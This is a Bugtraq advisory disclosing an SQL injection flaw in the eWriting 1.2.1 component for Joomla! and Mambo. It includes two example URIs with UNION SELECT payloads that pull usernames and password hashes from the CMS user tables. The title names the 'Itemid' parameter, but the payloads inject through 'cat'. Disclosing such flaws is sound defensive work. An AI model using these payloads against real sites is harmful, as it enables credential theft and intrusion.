Joomla! and Mambo 'com_ewriting' Component 'Itemid' Parameter SQL Injection Vulnerability

Bugtraq ID:	28179
Class:	Input Validation Error
CVE:	CVE-2008-1297
Remote:	Yes
Local:	No
Published:	Mar 10 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	breaker_unit & Don are credited with the discovery of this vulnerability.
Vulnerable:	B?rbara Irene Meclazcke eWriting 1.2.1
Not Vulnerable:

Joomla! and Mambo 'com_ewriting' Component 'Itemid' Parameter SQL Injection Vulnerability

The eWriting component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects eWriting 1.2.1; other versions may also be vulnerable.

Joomla! and Mambo 'com_ewriting' Component 'Itemid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+jos_users--
http://www.example.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+mos_users--

Joomla! and Mambo 'com_ewriting' Component 'Itemid' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla! and Mambo 'com_ewriting' Component 'Itemid' Parameter SQL Injection Vulnerability

References:

• eWriting Homepage (B?rbara Irene Meclazcke)
  
• Mambo Homepage (Mambo)